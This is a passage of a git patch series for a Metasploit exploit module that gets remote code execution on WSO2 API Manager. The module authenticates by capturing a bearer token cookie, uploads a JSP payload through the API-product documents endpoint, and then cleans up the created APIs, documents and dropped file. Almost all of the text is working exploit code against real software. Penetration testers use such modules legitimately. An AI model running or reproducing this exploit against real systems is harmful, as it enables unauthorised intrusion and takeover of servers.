"#{res.redirection.path}?#{res.redirection.query}", - 'method' => 'GET', - 'headers' => { - 'Connection' => 'keep-alive' - }, - 'keep_cookies' => true - ) - if res&.get_cookies && res.get_cookies.match(/:?WSO2_AM_TOKEN_1_Default=([\w|-]+);\s/) - self.bearer = ::Regexp.last_match(1) - end - break if bearer + res = send_request_cgi!(opts, 20, 2) # timeout and redirect_depth - fail_with(Failure::UnexpectedReply, 'Loop detected') if loop_dectector > 3 + if res&.get_cookies && res.get_cookies.match(/:?WSO2_AM_TOKEN_1_Default=([\w|-]+);\s/) + self.bearer = ::Regexp.last_match(1) end fail_with(Failure::UnexpectedReply, 'Authentication attempt failed') unless bearer From f720b519c9b940cb40613861910072379f41a6a0 Mon Sep 17 00:00:00 2001 From: Jack Heysel Date: Fri, 6 Dec 2024 06:22:03 -0800 Subject: [PATCH 10/13] Lint --- .../http/wso2_api_manager_file_upload_rce.rb | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) diff --git a/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb b/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb index 1fcb0b137a40..1edeb766f929 100644 --- a/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb +++ b/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb @@ -172,13 +172,14 @@ def authenticate 'sessionDataKey' => nounce } - opts = { 'uri' => normalize_uri(target_uri.path, '/commonauth'), - 'method' => 'POST', - 'headers' => { - 'Connection' => 'keep-alive' - }, - 'keep_cookies' => true, - 'vars_post' => auth_data + opts = { + 'uri' => normalize_uri(target_uri.path, '/commonauth'), + 'method' => 'POST', + 'headers' => { + 'Connection' => 'keep-alive' + }, + 'keep_cookies' => true, + 'vars_post' => auth_data } res = send_request_cgi!(opts, 20, 2) # timeout and redirect_depth From c95360133512ba09899a8b5f9643ca866e714c31 Mon Sep 17 00:00:00 2001 From: Heyder Andrade Date: Sun, 8 Dec 2024 00:13:12 +0100 Subject: [PATCH 11/13] Fix: it needs at least 2 follows redirect --- modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb b/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb index c3442c1a7735..1df49eb2d2d7 100644 --- a/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb +++ b/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb @@ -182,7 +182,7 @@ def authenticate 'vars_post' => auth_data } - res = send_request_cgi!(opts, 20, 1) # timeout and redirect_depth + res = send_request_cgi!(opts, 20, 2) # timeout and redirect_depth if res&.get_cookies && res.get_cookies.match(/:?WSO2_AM_TOKEN_1_Default=([\w|-]+);\s/) vprint_status('Got bearer token') From f3f1c893a1ff5db08b83867678cde586bb359213 Mon Sep 17 00:00:00 2001 From: Heyder Andrade Date: Sun, 8 Dec 2024 02:12:16 +0100 Subject: [PATCH 12/13] Added cleanup method --- .../http/wso2_api_manager_file_upload_rce.rb | 68 +++++++++++++++++-- 1 file changed, 61 insertions(+), 7 deletions(-) diff --git a/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb b/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb index 1df49eb2d2d7..9eab0e9574db 100644 --- a/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb +++ b/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb @@ -7,7 +7,6 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::FileDropper prepend Msf::Exploit::Remote::AutoCheck attr_accessor :bearer @@ -275,7 +274,7 @@ def create_api end def create_product_api - api_id = create_api['id'] + @api_id = create_api['id'] product_api_data = { 'name' => Faker::App.name, @@ -284,7 +283,7 @@ def create_product_api 'apis' => [ { 'name' => '', - 'apiId' => api_id, + 'apiId' => @api_id, 'operations' => [], 'version' => '1.0.0' } @@ -304,6 +303,8 @@ def create_product_api fail_with(Failure::UnexpectedReply, 'Failed to create API Product') unless res&.code == 201 + @api_created = true + print_good('API Product created successfully') return res.get_json_document @@ -357,7 +358,7 @@ def upload_payload(api_id, doc_id) fail_with(Failure::UnexpectedReply, 'Payload upload attempt failed') unless res&.code == 201 print_good('Payload uploaded successfully') - register_file_for_cleanup(jsp_filename) + return res end @@ -380,10 +381,11 @@ def exploit authenticate unless bearer api_avaliable = list_product_api api_avaliable.each do |product_api| - doc_id = create_document(product_api['id']) - next unless doc_id + @product_api_id = product_api['id'] + @doc_id = create_document(@product_api_id) + next unless @doc_id - res = upload_payload(product_api['id'], doc_id) + res = upload_payload(@product_api_id, @doc_id) if res&.code == 201 execute_payload break @@ -391,8 +393,60 @@ def exploit end end + def on_new_session(session) + super + # Registering for cleanup doesn't work as the file is not placed in the CWD, and the WSO2_SERVER_HOME might vary + session.shell_command_token("rm -rf $WSO2_SERVER_HOME/repository/deployment/server/webapps/authenticationendpoint/#{jsp_filename}") + end + + def cleanup + return unless session_created? + + super + + # If we have created the API, we need to delete it; thus the documentation + return delele_product_api && delele_api if @api_created + + # If the API was already there, we deleted only the documentation. + delete_document + end + def jsp_filename @jsp_filename ||= "#{rand_text_alphanumeric(8..16)}.jsp" end + def delete_document + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/api-products/', @api_id, '/documents/', @doc_id), + 'method' => 'DELETE', + 'headers' => { + 'Authorization' => "Bearer #{bearer}" + } + ) + + return res&.code == 200 + end + + def delele_api + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/apis/', @api_id), + 'method' => 'DELETE', + 'headers' => { + 'Authorization' => "Bearer #{bearer}" + } + ) + return res&.code == 200 + end + + def delele_product_api + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, '/api/am/publisher/', target.opts['api_version'], '/api-products/', @product_api_id), + 'method' => 'DELETE', + 'headers' => { + 'Authorization' => "Bearer #{bearer}" + } + ) + return res&.code == 200 + end + end From 41e7bf8812cd3c4137dc3fcd2cea9636ef9c6f92 Mon Sep 17 00:00:00 2001 From: Heyder Andrade Date: Wed, 11 Dec 2024 11:58:53 +0100 Subject: [PATCH 13/13] Enhance: Rollback to register_file_for_cleanup - Verified that the CWD is the WSO2_SERVER_HOME, allowing the uploaded payload file to be registered for cleanup using register_file_for_cleanup. - Improved feedback by including the payload filename in the success message. - Removed redundant on_new_session cleanup logic, as file management is now handled by FileDropper. --- .../multi/http/wso2_api_manager_file_upload_rce.rb | 11 ++++------- 1 file changed, 4 insertions(+), 7 deletions(-) diff --git a/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb b/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb index 9eab0e9574db..f644240df58f 100644 --- a/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb +++ b/modules/exploits/multi/http/wso2_api_manager_file_upload_rce.rb @@ -6,6 +6,7 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking + include Msf::Exploit::FileDropper include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck @@ -357,7 +358,9 @@ def upload_payload(api_id, doc_id) ) fail_with(Failure::UnexpectedReply, 'Payload upload attempt failed') unless res&.code == 201 - print_good('Payload uploaded successfully') + register_file_for_cleanup("repository/deployment/server/webapps/authenticationendpoint/#{jsp_filename}") + + print_good("Payload uploaded successfully. File: #{jsp_filename}") return res end @@ -393,12 +396,6 @@ def exploit end end - def on_new_session(session) - super - # Registering for cleanup doesn't work as the file is not placed in the CWD, and the WSO2_SERVER_HOME might vary - session.shell_command_token("rm -rf $WSO2_SERVER_HOME/repository/deployment/server/webapps/authenticationendpoint/#{jsp_filename}") - end - def cleanup return unless session_created?